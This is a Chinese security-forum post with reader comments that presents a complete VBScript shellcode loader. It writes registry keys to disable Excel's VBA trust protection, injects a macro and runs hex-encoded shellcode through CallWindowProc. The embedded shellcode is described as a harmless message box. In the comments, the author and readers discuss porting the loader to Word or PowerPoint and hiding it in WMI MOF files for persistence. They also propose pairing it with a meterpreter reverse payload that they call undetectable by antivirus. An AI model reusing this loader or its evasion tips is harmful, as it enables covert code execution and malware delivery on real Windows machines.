利用vbs优雅的执行shellcode

VBScript(Microsoft Visual Basic Script Editon),微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。

lcx分享了如何利用vbs执行shellcode,相信对各位安全研究者在渗透测试过程中能起到一定作用,源代码如下:


'thanks http://demon.tw/.shellcode是个弹框的,无害
'众所周知,vbs执行api都困难,但是还是可以实现的。这是 vbs,不是vb!
Dim WshShell
Dim oExcel
set WshShell = CreateObject("wscript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\AccessVBOM",1,"REG_DWORD"

Sub CreateObj(oExcel)
On Error Resume Next
Set oExcel = CreateObject("excel.application")
If Err Then 
wsh.echo "excel.application not!"
End if
End Sub

CreateObj oExcel

Set oBook = oExcel.Workbooks.Add
Set oModule = obook.VBProject.VBComponents.Add(1)
strCode ="Private Declare Function CallWindowProc Lib ""user32"" Alias ""CallWindowProcA"" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long "  & vbCr & _
"Sub MyMacro" & vbCr & _
"Dim download() As Byte" & vbCr & _
"Dim xmldoc, node, bytes" & vbCr & _
"Set xmldoc = CreateObject(""Msxml2.DOMDocument"")" & vbCr & _
"Set node = xmldoc.CreateElement(""binary"")" & vbCr & _
"node.DataType = ""bin.hex""" & vbCr & _
"node.Text =""eb0e5b4b33c9b19b80340bfee2faeb05e8edffffff177bfefefea19a5fcefefefe75bef2758ee2537596f6750994fca716dbfefefe1c0796cdccfefe968b8d9b8caa01e8751694ffa716f2fefefe1c07afa9a9af01a8f601a8faafa8758bc2758ad086fd0ba87588defd0bcd37b7bf53fd3bcd25f140eec4288af63f35f9fd24be150fc5e18b19a075a0dafd239875f2b575a0e2fd2375fa75fd3b55a0a73d1688010101cc8a6ff29d772fb194f4c6e0686170707920666F72203230303700""" & vbCr & _
"download = node.NodeTypedValue" & vbCr & _
"CallWindowProc VarPtr(download(0)), ByVal 0&, ByVal 0&, ByVal 0&, ByVal 0&" & vbCr & _
"End Sub"
oModule.CodeModule.AddFromString strCode
On Error Resume next
oExcel.Run "MyMacro"
oExcel.DisplayAlerts = False
oBook.Close
oExcel.Quit

参考 http://demon.tw/programming/vbs-excel-invoke-windows-api.html

这些评论亮了

  • softbug (7级) i am here! 回复
    @lcx  真的是海洋木马的作者lcx 好久不见!你消失的太久了,能再看到您本人不容易啊。 :razz:
    ) 11 ( 亮了
发表评论

已有 16 条评论

  • adder  2013-08-07 回复 1楼

    lcx本人?

    亮了( 0)
    • lcx  (3级)  2013-08-07 回复

      @adder 是

      亮了( 0)
  • 马化腾  2013-08-07 回复 2楼

    哪位大神能解释下程序的功能啊!
    测试发现中间那段16进制代码执行后,cmd下的光标乱闪

    亮了( 1)
    • lcx  (3级)  2013-08-07 回复

      @马化腾 是个弹框的shellcode

      亮了( 0)
  • softbug  (7级) i am here!  2013-08-07 回复 3楼

    这个文章还有2点没涉及到,我来抛玉引砖一下,大家一起来讨论:
    1,vba不止excel才有,office套件都有(ppt,word这些),集成了vba的都可以。这文章没点明,大家以后一股脑的往excel上钻,那服务器上只安了word,那咋办?

    2,“eb0e5b4b33c9b19b80340bfe”,这段汇编的hex代码,通过xml组件来转码为机器码字符,为何不用chrb+来做链接呢,省下来调用地方组件的代码。最后在CallWindowProc 来run.chrb在vba里,那段代码已经在vba宏里了,为何不用呢。thanks demon。

    有不对的地方,请楼下的指教。

    亮了( 4)
    • lcx  (3级)  2013-08-07 回复

      @softbug 
      回复你的第二个问题:因为这是涉及到vbs本身的问题了,vbs本身是弱类型,并没有字节型数组。用CallWindowProc来执行shellcode需要提供一个字节型数组。如果你在vb当中,可以用chrb来连接一个字节型数组是可以的,我在这段代码中是通过Msxml2.DOMDocument来把字符串转成字节型数组。另外,我只是参考了 demon的代码,我是lcx,不是 demon。
      回复你的第一个问题:用word或ppt来执行vba也是可以的,但是我没有实现成功。

      亮了( 2)
      • softbug  (7级) i am here!  2013-08-07 回复

        @lcx  真的是海洋木马的作者lcx 好久不见!你消失的太久了,能再看到您本人不容易啊。 :razz:

        亮了( 10)
  • softbug  (7级) i am here!  2013-08-07 回复 4楼

    顺带说说,有人抄袭你了的文章,http://hi.baidu.com/myvbscript/item/8a30c7448256c7acdf2a9fb8 :lol:

    亮了( 1)
    • 123  2013-08-07 回复

      @softbug  那正是lcx本人。。。

      亮了( 2)
  • 南拳daddy  (4级) 家里蹲大学,信息安全学院, 博士后在读...  2013-08-07 回复 5楼

    李哥 是艘核动力潜艇 , 潜得太久了。

    亮了( 0)
  • anlfi  (5级)  2013-08-07 回复 6楼

    幽雅 幽雅 :mrgreen: 传马方便多了 再写到mof里面 然后加密一下 嘎嘎嘎

    亮了( 0)
    • lcx  (3级)  2013-08-07 回复

      @anlfi  如果真弄到mof里,是可以的,但是会让你头大的。mof 和vbs\js的语法还是有区别的。这个东东,弄msf哪个反弹(喝多了,忘记名了)是最合适不过了,绝对免杀。

      亮了( 0)
      • ltes  (1级)  2013-08-07 回复

        @lcx meterpreter 这个?

        亮了( 0)
    • 三维码  (1级)  2014-12-29 回复

      @ anlfi  求前辈普及mof知识,mof我只用到开机自启动exe

      亮了( 0)
  • 死亡警察  (1级)  2013-08-07 回复 7楼

    娃–一般真会潜水 —直接来个时代潜水

    亮了( 0)
  • hjchjcjh  (2级) 愿漂泊的人都有酒喝 孤独的人都会唱歌  2017-11-23 回复 8楼

    lcx大佬,现在我需要用到你这个技术,可惜我测试了当代的win10不支持该脚本

你可能感兴趣的:(Windows渗透)